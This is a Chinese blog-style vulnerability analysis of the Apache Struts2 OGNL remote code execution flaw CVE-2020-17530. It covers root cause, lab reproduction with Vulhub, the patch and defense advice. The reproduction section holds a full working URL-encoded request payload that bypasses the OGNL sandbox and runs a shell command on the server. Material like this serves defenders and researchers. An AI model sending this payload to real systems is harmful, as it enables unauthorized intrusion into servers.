怎么浅谈Apache Struts2 RCE漏洞CVE-2020-17530

发布时间:2021-12-28 17:53:32 作者:柒染
来源:亿速云 阅读:173
# 浅谈Apache Struts2 RCE漏洞CVE-2020-17530

## 一、漏洞背景

Apache Struts2作为广泛使用的Java Web应用框架,历史上曾多次曝出高危漏洞。2020年12月,Struts2官方发布安全公告(S2-061),披露了一个新的远程代码执行漏洞(CVE-2020-17530),该漏洞影响Struts 2.0.0至2.5.25版本,攻击者可通过构造恶意OGNL表达式实现服务器端任意代码执行。

## 二、漏洞原理分析

### 1. 漏洞成因
该漏洞是CVE-2019-0230的绕过补丁不完善导致,核心问题仍在于Struts2框架对OGNL(Object-Graph Navigation Language)表达式的双重解析机制:

- **双重评估机制**:当标签属性(如`id`)同时使用`%{...}`语法和强制OGNL解析时,表达式会被二次解析
- **安全沙箱绕过**:攻击者通过特定语法构造可以绕过Struts2内置的OGNL沙箱防护

### 2. 技术细节
漏洞触发需要同时满足两个条件:
1. 使用`altSyntax`功能(默认启用)
2. 标签属性同时包含`%{...}`和强制OGNL解析字符

典型攻击向量示例:
```java
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)}

三、影响范围

四、漏洞复现

环境搭建

  1. 使用Vulhub靶场环境:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-061
docker-compose up -d

攻击演示

通过BurpSuite发送恶意请求:

POST /index.action HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22id%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D

五、修复方案

1. 官方补丁

升级到Struts 2.5.26或更高版本:

<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-core</artifactId>
    <version>2.5.26</version>
</dependency>

2. 临时缓解措施

若无法立即升级,可采取: - 禁用OGNL表达式执行

<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>

六、防御建议

  1. 持续更新机制:建立Struts2组件资产清单,及时关注安全公告
  2. 最小权限原则:运行Struts2应用的Tomcat账户应降权
  3. 纵深防御
    • 部署RASP(运行时应用自我保护)
    • 启用Java Security Manager
  4. 代码审计:检查项目中是否存在强制OGNL解析的代码片段

七、漏洞启示

CVE-2020-17530再次暴露了OGNL表达式注入这类”经典”漏洞的持久威胁。开发者应当: - 避免直接使用用户输入构建OGNL表达式 - 理解框架安全机制的实际防护边界 - 建立漏洞应急响应流程

参考链接

  1. Apache Struts2官方公告
  2. NVD漏洞详情
  3. OGNL注入防御白皮书

”`

注:本文仅作技术研究用途,实际测试需获得系统所有者授权。

推荐阅读:
  1. 怎样实现Apache Ofbiz XMLRPC RCE漏洞CVE-2020-9496的复现
  2. Apache Struts2-61远程代码执行CVE-2020-17530漏洞的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

rce cve-2020-17530

上一篇:EBS中常用函数有哪些

下一篇:Atlassian Confluence路径穿越与命令执行漏洞CVE-2019-3396怎么复现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》